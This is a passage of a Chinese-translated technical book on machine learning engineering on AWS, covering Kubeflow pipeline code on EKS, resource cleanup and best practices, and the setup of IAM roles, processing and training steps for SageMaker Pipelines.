df_training_data = pd.read_csv(
df_training_data_path
)
print(df_training_data)
mem = 'management_experience_months'
X_train = df_training_data[mem].values
ms = 'monthly_salary'
y_train = df_training_data[ms].values
model = LinearRegression().fit(
X_train.reshape(-1, 1), y_train
)
print(model)
dump(model, model_path)
-
在第四步中,我们定义了
evaluate_model()
函数,其中我们使用第二步的测试数据来评估从上一步获得的训练模型:def evaluate_model(
model_path: InputPath(str),
df_test_data_path: InputPath(str)):
import pandas as pd
from joblib import load
df_test_data = pd.read_csv(df_test_data_path)
mem = 'management_experience_months'
ms = 'monthly_salary'
X_test = df_test_data[mem].values
y_test = df_test_data[ms].values
model = load(model_path)
print(model.score(X_test.reshape(-1, 1), y_test))
-
在我们管道的最终步骤中,我们定义了
perform_sample_prediction()
函数,其中我们使用第三步训练的模型来执行样本预测(使用样本输入值):def perform_sample_prediction(
model_path: InputPath(str)):
from joblib import load
model = load(model_path)
print(model.predict([[42]])[0])
-
然后,我们使用
create_component_from_func()
函数为每个我们准备好的函数创建组件。在这里,我们指定在运行这些函数之前要安装的包:download_dataset_op = create_component_from_func(
download_dataset,
packages_to_install=['pandas']
)
process_data_op = create_component_from_func(
process_data,
packages_to_install=['pandas', 'sklearn']
)
train_model_op = create_component_from_func(
train_model,
packages_to_install=[
'pandas', 'sklearn', 'joblib'
]
)
evaluate_model_op = create_component_from_func(
evaluate_model,
packages_to_install=[
'pandas', 'joblib', 'sklearn'
]
)
perform_sample_prediction_op = \
create_component_from_func(
perform_sample_prediction,
packages_to_install=['joblib', 'sklearn']
)
-
现在,让我们将所有内容整合在一起,并使用
basic_pipeline()
函数定义管道:@dsl.pipeline(
name='Basic pipeline',
description='Basic pipeline'
)
def basic_pipeline():
DOWNLOAD_DATASET = download_dataset_op()
PROCESS_DATA = process_data_op(
DOWNLOAD_DATASET.output
)
TRAIN_MODEL = train_model_op(
PROCESS_DATA.outputs['df_training_data']
)
EVALUATE_MODEL = evaluate_model_op(
TRAIN_MODEL.outputs['model'],
PROCESS_DATA.outputs['df_test_data']
)
PERFORM_SAMPLE_PREDICTION = \
perform_sample_prediction_op(
TRAIN_MODEL.outputs['model']
)
PERFORM_SAMPLE_PREDICTION.after(EVALUATE_MODEL)
-
最后,让我们使用以下代码块生成管道的 YAML 文件:
kfp.compiler.Compiler().compile(
basic_pipeline,
'basic_pipeline.yaml'
)
此时,我们应该在文件浏览器中看到一个 YAML 文件。如果没有,请随意使用刷新按钮更新显示的文件列表。
- 在文件浏览器中,右键单击生成的
basic_pipeline.yaml
文件以打开一个类似于 图 10.24 中所示的上下文菜单:
图 10.24 – 下载 basic_pipeline.yaml 文件
在上下文菜单中的选项列表中选择 Download(如 图 10.24 中所示)。这将下载 YAML 文件到您的本地机器的下载文件夹(或类似位置)。
-
下载
basic_pipeline.yaml
文件后,导航到我们打开Kubeflow 中央仪表板的浏览器标签页。之后,通过点击仪表板侧边栏中的“管道”(在Kubeflow 中央仪表板)来导航到管道页面。 -
接下来,点击我们在此部分生成的
basic_pipeline.yaml
文件来运行另一个管道。
重要提示
当运行新的管道时,请随意检查并遵循本章运行我们的第一个 Kubeflow 管道部分中指定的步骤。我们将把这留给你作为练习!(生成的管道应该是一样的。)
这比预期的要简单,对吧?在完成本章的动手实践解决方案后,我们应该为自己鼓掌!能够在 EKS 上正确设置 Kubeflow,并使用 Kubeflow 使自定义 ML 管道工作,这是一个成就。这应该给我们信心,使用我们现在使用的技术堆栈构建更复杂的 ML 管道。
在下一节中,我们将快速清理并删除本章中创建的资源。
清理
现在我们已经完成了本章的动手实践解决方案,是时候清理并关闭我们将不再使用的资源了。到目前为止,我们有一个运行着5
个m5.xlarge
实例的 EKS 集群。我们需要终止这些资源来管理成本。
注意
如果我们不关闭这些(一个月),会花费多少钱?至少(每月),运行 EC2 实例的费用大约为 700.80 美元(5 个实例 x 0.192 美元 x 每月 730 小时)加上73 美元用于 EKS 集群(1 个集群 x 每小时 0.10 美元 x 每月 730 小时),假设我们在俄勒冈地区(us-west-2
)运行 EKS 集群。请注意,还将有与这些实例附加的 EBS 卷以及其他在本章中使用的资源相关的其他额外费用。
在接下来的步骤中,我们将卸载并删除 Cloud9 环境终端中的资源:
-
让我们导航回 Cloud9 环境的终端标签页,我们在那里最后运行了以下命令(注意:不要运行以下命令,因为我们只需要导航到运行此命令的标签页):
kubectl port-forward svc/istio-ingressgateway -n istio-system 8080:80 --address=localhost
我们应该在这个终端中找到一些针对 8080 端口的连接处理日志。
-
在终端中按Ctrl + C(或者,如果您使用的是 Mac 设备,可以按Cmd + C)来停止此命令。
-
之后,让我们运行以下命令,该命令使用
kubectl delete
来删除资源:cd ~/environment/ch10/kubeflow-manifests/
cd deployments/vanilla/
kustomize build . | kubectl delete -f -
-
让我们通过运行以下命令来删除 EKS 集群:
eksctl delete cluster --region $CLUSTER_REGION --name $CLUSTER_NAME
在运行命令之前,确保将CLUSTER_REGION
和CLUSTER_NAME
变量设置为适当的值。例如,如果您在俄勒冈地区运行 Kubernetes 集群,则CLUSTER_REGION
应设置为us-west-2
,而CLUSTER_NAME
应设置为kubeflow-eks-000
(这与eks.yaml
文件中指定的类似)
重要提示
确保通过eksctl
命令创建的 CloudFormation Stack 已被完全删除。您可以通过导航到 CloudFormation 控制台并检查是否存在状态为DELETE_FAILED的堆栈来完成此操作。如果是这种情况,只需重新尝试删除这些堆栈,直到所有资源都成功删除。
- 最后,断开与运行 Cloud9 环境的 EC2 实例关联的 IAM 角色。我们将把这留给你作为练习!
在进入下一节之前,请确保已审查所有删除操作是否已成功完成。
推荐策略和最佳实践
在结束本章之前,我们将简要讨论在 EKS 上使用 Kubeflow 时的一些推荐策略和最佳实践。
让我们从确定我们可以改进我们设计和实现 ML 管道的方式开始。我们可以对管道的初始版本进行哪些改进?以下是我们可以实施的一些可能的升级:
-
通过允许我们的管道的第一步接受数据集输入路径作为输入参数(而不是像我们现在这样硬编码)来使管道更具可重用性
-
在使用管道组件时,构建和使用自定义容器镜像而不是使用
packages_to_install
参数 -
将模型工件保存到存储服务(如Amazon S3),这将帮助我们确保即使在 Kubernetes 集群被删除的情况下,我们也能保留工件
-
使用
ContainerOp
对象的set_memory_limit()
和set_cpu_limit()
方法将资源限制(如 CPU 和内存限制)添加到管道中的特定步骤。 -
利用SageMaker 组件用于 Kubeflow Pipelines将一些数据处理和训练工作负载移动到 SageMaker
注意
如果您对在准备Kubeflow Pipelines 组件时应用最佳实践感兴趣,请随时查看www.kubeflow.org/docs/components/pipelines/sdk/best-practices/
。
接下来,让我们讨论一些我们可以实施的战略和解决方案来升级我们的 EKS 集群和 Kubeflow 设置:
-
在 Amazon EKS 集群上设置CloudWatch Container Insights以监控集群性能
-
设置和部署Kubernetes Dashboard和/或Rancher以管理和控制 Amazon EKS 集群资源
-
设置Prometheus和Grafana以监控 Kubernetes 集群
-
在访问Kubeflow 中央仪表板时更改默认用户密码
-
在部署 Kubeflow 时使用AWS Cognito作为身份提供者(用于 Kubeflow 用户认证)
-
使用 Amazon 关系数据库服务(RDS)和 Amazon 简单存储服务(S3)部署 Kubeflow 以存储元数据和管道工件
-
通过应用程序负载均衡器暴露和访问 Kubeflow
-
使用Amazon Elastic File System(EFS)与 Kubeflow 配合进行持久化存储
-
减少附加到运行 Cloud9 环境的 EC2 实例的 IAM 角色的权限(到一个最小权限集)
-
审计和升级每个使用的资源的网络安全配置
-
设置 EKS 集群的自动扩展(例如,使用集群自动扩展器)
-
为了管理运行 EKS 集群的长期成本,我们可以利用成本节省计划,这涉及到在做出长期承诺(例如,1 年或 3 年的承诺)后降低运行资源的总体成本
我们还可以添加更多内容到这个列表,但这些都足够现在使用了!请确保审查并检查在第九章中分享的推荐解决方案和策略,安全、治理和合规策略。
摘要
在本章中,我们使用Kubeflow、Kubernetes和Amazon EKS设置了我们的容器化机器学习环境。在设置好环境后,我们使用Kubeflow Pipelines SDK准备并运行了一个自定义的机器学习管道。完成所有必要的动手工作后,我们清理了我们创建的资源。在结束本章之前,我们讨论了使用本章动手部分所使用的技术栈来确保、扩展和管理机器学习管道的相关最佳实践和策略。
在下一章中,我们将使用SageMaker Pipelines——Amazon SageMaker专门用于自动化机器学习工作流程的解决方案——构建和设置一个机器学习管道。
进一步阅读
关于本章涵盖的主题的更多信息,请随时查看以下资源:
-
Kubernetes 概念 (
kubernetes.io/docs/concepts/
) -
Amazon EKS 入门 (
docs.aws.amazon.com/eks/latest/userguide/getting-started.xhtml
) -
eksctl – Amazon EKS 的官方 CLI (
eksctl.io/
) -
Amazon EKS 故障排除 (
docs.aws.amazon.com/eks/latest/userguide/troubleshooting.xhtml
) -
Kubeflow on AWS – 部署 (
awslabs.github.io/kubeflow-manifests/docs/deployment/
) -
Kubeflow on AWS Security (
awslabs.github.io/kubeflow-manifests/docs/about/security/
)
第十一章:使用 SageMaker Pipelines 的机器学习流水线
在 第十章 中,使用 Amazon EKS 上的 Kubeflow 的机器学习流水线,我们使用了 Kubeflow、Kubernetes 和 Amazon EKS 来构建和运行一个端到端的 机器学习(ML)流水线。在这里,我们能够在运行的 Kubernetes 集群中自动化 ML 过程中的几个步骤。如果你想知道我们是否也可以使用 SageMaker 的不同特性和功能来构建 ML 流水线,那么对这个问题的快速回答将是 YES!
在本章中,我们将使用 SageMaker Pipelines 来构建和运行自动化的机器学习工作流程。此外,我们还将演示如何在流水线执行期间利用 AWS Lambda 函数将训练好的模型部署到新的(或现有的)机器学习推理端点。
话虽如此,在本章中,我们将涵盖以下主题:
-
深入了解 SageMaker Pipelines
-
准备基本先决条件
-
使用 SageMaker Pipelines 运行第一个流水线
-
创建用于部署的 Lambda 函数
-
测试我们的机器学习推理端点
-
完成端到端的机器学习流水线
-
清理
-
推荐策略和最佳实践
完成本章的动手实践解决方案后,我们应该具备使用 Amazon SageMaker 的不同功能构建更复杂的机器学习流水线和工作流程的技能!
技术要求
在我们开始之前,重要的是我们以下准备工作已经就绪:
-
一款网络浏览器(最好是 Chrome 或 Firefox)
-
访问本书前几章中使用的 AWS 账户和 SageMaker Studio 域
-
在你的本地机器上安装一个文本编辑器(例如,VS Code),我们将用它来存储和复制字符串值,以便在本章的后续使用中
每章使用的 Jupyter 笔记本、源代码和其他文件可在以下存储库中找到:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
。
重要提示
建议在运行本书中的示例时,使用具有有限权限的 IAM 用户,而不是根账户。如果你刚开始使用 AWS,你可以暂时使用根账户。
深入了解 SageMaker Pipelines
通常,数据科学团队会从手动执行 ML 实验和部署开始。一旦他们需要标准化工作流程并启用 自动模型重新训练 以定期刷新已部署的模型,这些团队就会开始考虑使用 ML 流水线来自动化他们工作的一部分。在 第六章 中,SageMaker 训练和调试解决方案,我们学习了如何使用 SageMaker Python SDK 训练一个 ML 模型。通常,使用 SageMaker Python SDK 训练 ML 模型涉及运行几行代码,类似于以下代码块:
estimator = Estimator(...)
estimator.set_hyperparameters(...)
estimator.fit(...)
如果我们想准备一个自动化的 ML 管道并将其作为步骤之一包含在内,会怎么样? 您可能会惊讶,我们只需要添加几行代码就可以将其转换为可以包含在管道中的步骤!要将此转换为使用TrainingStep
对象(类似于以下代码块中的内容)的步骤:
step_train = TrainingStep(
name="TrainModel",
estimator=estimator,
inputs=...
)
哇!这不是很神奇吗? 这意味着使用SageMaker Python SDK手动训练和部署 ML 模型的现有笔记本可以很容易地通过添加几行代码转换为使用 SageMaker 管道!其他步骤呢? 我们还有以下类:
-
ProcessingStep
– 这是为了使用SageMaker 处理处理数据。 -
TuningStep
– 这是为了使用 SageMaker 的自动模型调优功能创建超参数调优作业。 -
ModelStep
– 这是为了创建并将 SageMaker 模型注册到SageMaker 模型注册表。 -
TransformStep
– 这是为了使用 SageMaker 的批量转换功能在数据集上运行推理。 -
ConditionStep
– 这是为了支持执行管道步骤的条件分支。 -
CallbackStep
– 这是为了在 SageMaker 管道中包含不直接可用或受支持的定制步骤。 -
LambdaStep
– 这是为了运行AWS Lambda函数。
注意
注意,这并不是步骤的完整列表,因为还有其他步骤可以用于更具体的用例。您可以在docs.aws.amazon.com/sagemaker/latest/dg/build-and-manage-steps.xhtml
找到SageMaker 管道步骤的完整列表。
在第四章 AWS 上的无服务器数据管理中,我们在 Redshift 集群和 Athena 表中存储和查询我们的数据。如果我们需要直接从这些数据源查询数据,我们可以使用ProcessingStep
对象,该对象稍后将添加到管道中。一旦处理作业完成,它将输出文件存储在 S3 中,然后可以被训练作业或自动模型调优作业拾取和处理。如果我们需要将其转换为步骤,我们可以创建相应的TrainingStep
对象(如果我们将运行训练作业)或TuningStep
对象(如果我们将运行自动模型调优作业),然后稍后将其添加到管道中。训练(或调优)作业完成后会发生什么? 我们可以选择将生成的模型存储在随后将添加到管道中的ModelStep
对象中。让我们参考图 11.1来帮助我们可视化一旦我们准备好了管道的不同步骤,这一切是如何工作的:
图 11.1 – 使用 SageMaker 管道
在图 11.1中,我们可以看到Pipeline
对象,它映射到 ML 管道定义:
pipeline = Pipeline(
name=...,
parameters=...,
steps=[
...,
step_train,
...
],
)
# create (or update) the ML pipeline
pipeline.upsert(...)
然后,要运行管道,我们只需要调用 start()
方法:
execution = pipeline.start()
一旦管道开始,我们就必须等待所有步骤完成执行(一次一个步骤)或如果某个步骤发生错误,则停止管道。要调试和故障排除正在运行的管道,我们可以轻松地导航到 SageMaker Studio 的 SageMaker 资源 选项卡,并找到相应的管道资源。我们应该看到一个与 图 11.2 中类似的管道执行图。
图 11.2 – 管道执行
在这里,我们可以看到管道中的所有步骤都已成功完成,我们训练的模型也已注册到 SageMaker 模型注册表中。如果我们希望再次运行管道(例如,使用不同的输入数据集),我们只需触发另一个管道执行,并传递一个不同的管道参数值,该参数值指向新输入数据集的存储位置。真酷,不是吗? 此外,我们还可以通过单击我们想要检查的步骤对应的圆形矩形,深入了解每个步骤中发生的情况(或已发生的情况),然后查看输入参数、输出值、机器学习指标值、用于训练模型的超参数以及步骤执行期间生成的日志。这使我们能够了解管道执行期间发生的情况,并在管道执行过程中遇到错误时进行故障排除。
到目前为止,我们一直在讨论一个相对简单的管道,该管道包含三个或四个步骤,这些步骤是顺序执行的。此外,SageMaker Pipelines 允许我们构建更复杂的机器学习管道,这些管道利用类似于我们在 图 11.3 中的条件步骤:
图 11.3 – 带有条件步骤的机器学习管道
在这里,使用 ConditionStep
,管道检查是否存在机器学习推理端点(给定端点名称),并根据端点的存在与否执行以下步骤之一:
-
部署模型到新端点 – 使用
LambdaStep
,它映射到一个 AWS Lambda 函数,如果端点尚不存在,则将机器学习模型部署到新的机器学习推理端点 -
部署模型到现有端点 – 使用
LambdaStep
,它映射到一个 AWS Lambda 函数,如果端点已经存在(零停机时间部署),则将机器学习模型部署到现有的机器学习推理端点
酷吧? 更酷的是,这正是本章我们将要构建的管道! 构建机器学习管道可能一开始会让人感到害怕。然而,只要我们迭代地构建和测试管道,并使用正确的工具集,我们就应该能够构建出我们需要的机器学习管道,以自动化手动流程。
既然我们对 SageMaker Pipelines 的工作原理有了更好的理解,让我们继续进行本章的动手部分。
注意
在这一点上,你可能想知道为什么我们应该使用 SageMaker Pipelines 而不是 Kubeflow 和 Kubernetes。SageMaker Pipelines 与 Kubeflow 之间的一个主要区别是,在 SageMaker 中用于训练 ML 模型的实例在训练步骤完成后会自动删除。这有助于降低总体成本,因为这些训练实例仅在需要训练模型时才运行。另一方面,Kubeflow 所需的基础设施需要在任何训练步骤开始之前就绪。请注意,这只是其中之一的不同之处,在选择“正确”的工具时还有其他需要考虑的事项。当然,在某些情况下,数据科学团队可能会选择 Kubeflow,因为团队成员已经熟悉 Kubernetes 的使用(或者他们已经在运行生产 Kubernetes 工作负载)。为了帮助您和您的团队正确评估这些工具,我建议首先尝试使用这两种选项构建示例 ML 管道。
准备基本先决条件
在本节中,我们将确保以下先决条件已准备就绪:
-
附有
AWSLambda_FullAccess
AWS 管理权限策略的 SageMaker Studio 域执行角色 – 这将允许 Lambda 函数在本章的 完成端到端 ML 管道 部分中无问题地运行。 -
IAM 角色 (
pipeline-lambda-role
) – 这将在本章的 创建部署 Lambda 函数 部分中用于运行 Lambda 函数。 -
processing.py
文件 – 这将由 SageMaker 处理 作业用于处理输入数据并将其分割成训练集、验证集和测试集。 -
bookings.all.csv
文件 – 这将作为 ML 管道的输入数据集。
重要提示
在本章中,我们将创建并管理我们在 us-west-2
区域的资源。在继续下一步之前,请确保您已设置正确的区域。
准备这些基本先决条件对于确保我们在本章准备和运行 ML 管道时不会遇到意外的阻碍至关重要。话虽如此,让我们继续在下一组步骤中准备这些先决条件:
-
让我们从在 AWS 管理控制台的搜索栏中导航到
sagemaker studio
开始,将鼠标悬停在搜索结果框的 Amazon SageMaker 上,然后点击 Top features 下的 SageMaker Studio 链接。 -
在 SageMaker Studio 控制面板 页面上,找到附着在 域 框旁边的 执行角色 部分(如图 11.4 所示):
图 11.4 – 复制执行角色名称
定位并复制以下值到您的本地机器上的文本编辑器中:
-
arn:aws:iam::<ACCOUNT ID>:role/service-role/
。执行角色名称可能遵循类似于图 11.4 中的AmazonSageMaker-ExecutionRole-<DATETIME>
格式。确保在复制执行角色名称时排除arn:aws:iam::<ACCOUNT ID>:role/service-role/
。 -
arn:aws:iam::<ACCOUNT ID>:role/service-role/
。执行角色 ARN 应遵循arn:aws:iam::<ACCOUNT ID>:role/service-role/AmazonSageMaker-ExecutionRole-<DATETIME>
格式。
注意
我们将在本章的创建用于部署的 Lambda 函数部分测试 Lambda 函数时使用执行角色 ARN。
-
导航到 AWS 管理控制台的搜索栏中的
iam
,将鼠标悬停在IAM的搜索结果框上,然后单击角色链接下的顶级功能。 -
在角色页面,通过在搜索框中输入执行角色名称(该名称已复制到您的本地机器上的文本编辑器中)来搜索并定位执行角色(如图 11.5 所示):
图 11.5 – 导航到特定角色页面
这应该会过滤结果并显示一行类似于图 11.5 中的行。单击角色名称列下的链接以导航到可以修改角色权限的页面。
-
定位到权限策略表(在权限选项卡内),然后单击添加权限以打开一个选项的下拉菜单。从可用选项中选择附加策略。这应该会带我们到可以查看当前权限策略部分的页面,并在其他权限策略下附加额外的策略。
-
使用搜索栏(在
AWSLambda_FullAccess
策略下)查找AWSLambda_FullAccess
AWS 托管权限策略。之后,单击附加策略按钮。
注意
在单击附加策略按钮后,您应该会看到以下成功通知消息:策略已成功附加到角色。
-
现在,让我们创建我们将用于创建 Lambda 函数的 IAM 角色。导航到角色页面(使用侧边栏)然后单击创建角色按钮。
-
在选择受信任实体页面(步骤 1),执行以下步骤:
-
在受信任实体类型下,从可用选项中选择AWS 服务。
-
在用例下,从常用用例中选择Lambda。
-
之后,单击下一步按钮。
-
-
在
AmazonSageMakerFullAccess
策略中。 -
搜索并选择
AWSLambdaExecute
策略。 -
在切换两个策略的单选按钮后,单击下一步按钮。
-
在角色名称下的
pipeline-lambda-role
。 -
滚动到页面底部,然后单击创建角色按钮。
注意
在点击创建角色按钮后,您应该会看到以下成功通知消息:角色 pipeline-lambda-role 已创建。
-
导航回 AWS 管理控制台的搜索栏中的
sagemaker studio
,然后点击顶级功能下的SageMaker Studio链接(在悬停于Amazon SageMaker搜索结果框上方时)。 -
点击启动应用,然后从下拉选项中选择Studio。
注意
这将带您进入SageMaker Studio。等待几秒钟,直到界面加载完成。
- 现在,让我们继续创建
CH11
文件夹,我们将在这个文件夹中存储本章中与我们的机器学习管道相关的文件。在文件浏览器侧边栏的空白区域右键单击以打开一个类似于图 11.6所示的下拉菜单:
图 11.6 – 创建新文件夹
选择CH11
。然后,通过在侧边栏中双击相应的文件夹名称来导航到CH11
目录。
-
通过在
CH11
目录中点击.ipynb
文件创建一个新的笔记本,我们可以在其中运行我们的 Python 代码。 -
在
数据科学
(在 Sagemaker 映像下找到的选项) -
Python 3
-
无脚本
-
之后,点击选择按钮。
注意
等待内核启动。这一步可能需要 3-5 分钟,在此期间正在配置一个机器学习实例以运行 Jupyter 笔记本单元格。确保在完成本章的所有动手练习后(或如果您不再使用它)停止此实例。有关更多信息,请随时查看本章末尾附近的清理部分。
-
右键单击标签名称,然后选择
Machine Learning Pipelines with SageMaker Pipelines.ipynb
。 -
在
Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本的第一个单元格中,运行以下命令:!wget -O processing.py https://bit.ly/3QiGDQO
这应该会下载一个processing.py
文件,该文件执行以下操作:
-
加载
dataset.all.csv
文件并将数据存储在一个 DataFrame 中。 -
执行训练-测试分割,这将把 DataFrame 分割成三个 DataFrame(包含训练集、验证集和测试集)。
-
确保在保存输出 CSV 文件之前已经创建了输出目录。
-
将包含训练集、验证集和测试集的 DataFrames 保存到输出目录中相应的 CSV 文件中。
注意
随意检查下载的processing.py
文件的内容。此外,您可以在github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter11/processing.py
找到processing.py
脚本文件的副本。
-
接下来,让我们使用
mkdir
命令创建一个tmp
目录,如果它还不存在的话:!mkdir -p tmp
-
之后,使用
wget
命令下载bookings.all.csv
文件:!wget -O tmp/bookings.all.csv https://bit.ly/3BUcMK4
在这里,我们下载了一个更干净版本的合成 bookings.all.csv
文件,类似于我们在 第一章,AWS 上的机器学习工程导论 中使用的版本。然而,这次已经应用了多个数据清洗和转换步骤,以产生更高品质的模型。
-
指定一个唯一的 S3 桶名称和前缀。在运行以下代码块之前,请确保将
<INSERT S3 BUCKET NAME HERE>
的值替换为唯一的 S3 桶名称:s3_bucket = '<INSERT S3 BUCKET NAME HERE>'
prefix = 'pipeline'
您可以使用上一章中创建的 S3 桶之一,并将 s3_bucket
的值更新为 S3 桶名称。如果您计划创建并使用新的 S3 桶,请确保将 s3_bucket
的值更新为一个尚未存在的桶名称。之后,运行以下命令:
!aws s3 mb s3://{s3_bucket}
注意,此命令仅在计划创建新的 S3 桶时才应执行。
注意
将 S3 桶名称复制到您本地机器上的文本编辑器。我们将在本章的 测试我们的机器学习推理端点 部分中使用它。
-
让我们准备上传 CSV 文件的路径:
source_path = f's3://{s3_bucket}/{prefix}' + \
'/source/dataset.all.csv'
-
最后,让我们使用
aws s3 cp
命令将bookings.all.csv
文件上传到 S3 桶:!aws s3 cp tmp/bookings.all.csv {source_path}
在这里,CSV 文件在上传到 S3 桶时被重命名为 dataset.all.csv
文件(因为我们已经在 source_path
变量中指定了这一点)。
准备好先决条件后,我们现在可以开始运行我们的第一个管道了!
使用 SageMaker Pipelines 运行我们的第一个管道
在 第一章,AWS 上的机器学习工程导论 中,我们安装并使用了 AutoGluon 在 AWS Cloud9 环境中训练多个机器学习模型(使用 AutoML)。此外,我们还使用各种工具和库手动执行了机器学习过程的各个步骤。在本章中,我们将将这些手动执行的步骤转换为自动化管道,这样我们只需要提供输入数据集,机器学习管道就会为我们完成剩余的工作(并将训练好的模型存储在模型注册表中)。
注意
我们将使用内置的 AutoGluon-Tabular 算法而不是准备一个定制的 Docker 容器镜像来使用 AutoGluon 训练机器学习模型。有了可用的内置算法,我们只需要担心超参数值和我们将用于配置训练作业的附加配置参数。
话虽如此,本节分为两部分:
-
定义和准备我们的第一个机器学习管道 – 这是我们将定义并准备一个包含以下步骤的管道的地方:
-
PrepareData
– 这利用 SageMaker Processing 作业处理输入数据集并将其分割为训练、验证和测试集。 -
TrainModel
– 这利用内置的 AutoGluon-Tabular 算法来训练一个分类模型。 -
RegisterModel
– 这将训练的机器学习模型注册到 SageMaker 模型注册表。
-
-
运行我们的第一个机器学习流水线 – 这是我们将使用
start()
方法来执行流水线的地方。
考虑到这些,让我们开始准备我们的机器学习流水线。
定义和准备我们的第一个机器学习流水线
我们将准备的第一条流水线将是一个相对简单的流水线,包括三个步骤——包括数据准备步骤、模型训练步骤和模型注册步骤。为了帮助我们可视化使用SageMaker Pipelines的第一个机器学习流水线将是什么样子,让我们快速查看图 11.7:
图 11.7 – 使用 SageMaker Pipelines 的我们的第一个机器学习流水线
在这里,我们可以看到我们的流水线接受一个输入数据集,并将该数据集分为训练集、验证集和测试集。然后,使用训练集和验证集来训练一个机器学习模型,该模型随后被注册到SageMaker 模型注册表。
现在我们已经对我们的流水线有了很好的了解,让我们在下一个步骤中在Machine Learning Pipelines with SageMaker Pipelines.ipynb
Jupyter 笔记本中运行以下代码块:
-
让我们首先从
boto3
和sagemaker
导入构建块:import boto3
import sagemaker
from sagemaker import get_execution_role
from sagemaker.sklearn.processing import (
SKLearnProcessor
)
from sagemaker.workflow.steps import (
ProcessingStep,
TrainingStep
)
from sagemaker.workflow.step_collections import (
RegisterModel
)
from sagemaker.processing import (
ProcessingInput,
ProcessingOutput
)
from sagemaker.workflow.parameters import (
ParameterString
)
from sagemaker.inputs import TrainingInput
from sagemaker.estimator import Estimator
from sagemaker.workflow.pipeline import Pipeline
-
将 SageMaker 执行角色的 ARN 存储在
role
变量中:role = get_execution_role()
注意
get_execution_role()
函数应返回我们在本章准备基本先决条件部分修改的 IAM 角色的 ARN。
-
此外,让我们准备 SageMaker 的
Session
对象:session = sagemaker.Session()
-
让我们初始化一个
ParameterString
对象,该对象映射到指向存储输入数据集的Pipeline
参数:input_data = ParameterString(
name="RawData",
default_value=source_path,
)
-
让我们准备包含映射到SageMaker Processing作业输出结果配置的
ProcessingOutput
对象输入源配置的ProcessingInput
对象:input_raw = ProcessingInput(
source=input_data,
destination='/opt/ml/processing/input/'
)
output_split = ProcessingOutput(
output_name="split",
source='/opt/ml/processing/output/',
destination=f's3://{s3_bucket}/{prefix}/output/'
)
-
让我们初始化
SKLearnProcessor
对象以及相应的ProcessingStep
对象:processor = SKLearnProcessor(
framework_version='0.20.0',
role=role,
instance_count=1,
instance_type='ml.m5.large'
)
step_process = ProcessingStep(
name="PrepareData",
processor=processor,
inputs=[input_raw],
outputs=[output_split],
code="processing.py",
)
为了帮助我们可视化我们如何配置ProcessingStep
对象,让我们快速查看图 11.8:
图 11.8 – 配置和准备 ProcessingStep
在这里,我们使用配置的SKLearnProcessor
对象以及inputs
、outputs
和code
参数的参数值初始化了ProcessingStep
对象。
-
接下来,让我们准备
model_path
变量,使其指向模型在 SageMaker 训练作业完成后(在后续步骤中执行机器学习流水线时)上传的位置:model_path = f"s3://{s3_bucket}/{prefix}/model/"
-
此外,让我们准备
model_id
变量以存储我们将使用的机器学习模型的 ID:model_id = "autogluon-classification-ensemble"
-
让我们指定我们正在使用的区域,并将其存储在
region_name
变量中:region_name = "us-west-2"
-
使用
image_uris.retrieve()
获取我们的训练图像的 ECR 容器镜像 URI:from sagemaker import image_uris
train_image_uri = image_uris.retrieve(
region=region_name,
framework=None,
model_id=model_id,
model_version="*",
image_scope="training",
instance_type="ml.m5.xlarge",
)
如果你想知道 train_image_uri
的值,它应该有一个等于(或类似)的字符串值:'763104351884.dkr.ecr.us-west-2.amazonaws.com/autogluon-training:0.4.0-cpu-py38'
。
-
使用
script_uris.retrieve()
获取与模型关联的脚本 S3 URI(给定model_id
、model_version
和script_scope
的值):from sagemaker import script_uris
train_source_uri = script_uris.retrieve(
model_id=model_id,
model_version="*",
script_scope="training"
)
注意,train_source_uri
应该有一个等于(或类似)的字符串值:'s3://jumpstart-cache-prod-us-west-2/source-directory-tarballs/autogluon/transfer_learning/classification/v1.0.1/sourcedir.tar.gz'
。
注意
sourcedir.tar.gz
文件里有什么?如果调用 script_uris.retrieve()
时使用的 script_scope
值是 "training"
,则 sourcedir.tar.gz
文件应包含在训练 ML 模型时使用 autogluon.tabular.TabularPredictor
的代码。注意,sourcedir.tar.gz
的内容取决于调用 script_uris.retrieve()
时指定的参数。
-
使用
model_uris.retrieve()
获取与模型关联的模型工件 S3 URI(给定model_id
、model_version
和model_scope
的值):from sagemaker import model_uris
train_model_uri = model_uris.retrieve(
model_id=model_id,
model_version="*",
model_scope="training"
)
注意,train_model_uri
应该有一个等于(或类似)的字符串值:'s3://jumpstart-cache-prod-us-west-2/autogluon-training/train-autogluon-classification-ensemble.tar.gz'
。
-
当
train_image_uri
、train_source_uri
、train_model_uri
和model_path
的值准备就绪后,我们现在可以初始化Estimator
对象:from sagemaker.estimator import Estimator
estimator = Estimator(
image_uri=train_image_uri,
source_dir=train_source_uri,
model_uri=train_model_uri,
entry_point="transfer_learning.py",
instance_count=1,
instance_type="ml.m5.xlarge",
max_run=900,
output_path=model_path,
session=session,
role=role
)
在这里,entry_point
值指向存储在 sourcedir.tar.gz
内的 transfer_learning.py
脚本文件,其中包含训练模型的相应脚本。
-
接下来,让我们使用
retrieve_default()
函数检索我们 AutoGluon 分类模型的默认超参数集:from sagemaker.hyperparameters import retrieve_default
hyperparameters = retrieve_default(
model_id=model_id,
model_version="*"
)
hyperparameters["verbosity"] = "3"
estimator.set_hyperparameters(**hyperparameters)
-
在初始化时,使用
Estimator
对象作为参数值之一来准备TrainingStep
对象:s3_data = step_process \
.properties \
.ProcessingOutputConfig \
.Outputs["split"] \
.S3Output.S3Uri \
step_train = TrainingStep(
name="TrainModel",
estimator=estimator,
inputs={
"training": TrainingInput(
s3_data=s3_data,
)
},
)
在这里,s3_data
包含一个指向使用 s3_data.__dict__
的 s3_data
输出文件路径的 Properties
对象,我们应该得到一个类似于以下内容的字典:
{'step_name': 'PrepareData',
'path': "ProcessingOutputConfig.Outputs['split']
.S3Output.S3Uri",
'_shape_names': ['S3Uri'],
'__str__': 'S3Uri'}
为了帮助我们可视化我们如何配置 TrainingStep
对象,让我们快速查看 图 11.9:
图 11.9 – 配置和准备 TrainingStep 对象
在这里,我们使用配置的 Estimator
对象以及 name
和 inputs
参数的参数值初始化 TrainingStep
对象。
-
现在,让我们使用
image_uris.retrieve()
和script_uris.retrieve()
检索部署 AutoGluon 分类模型的容器镜像 URI 和脚本 URI:deploy_image_uri = image_uris.retrieve(
region=region_name,
framework=None,
image_scope="inference",
model_id=model_id,
model_version="*",
instance_type="ml.m5.xlarge",
)
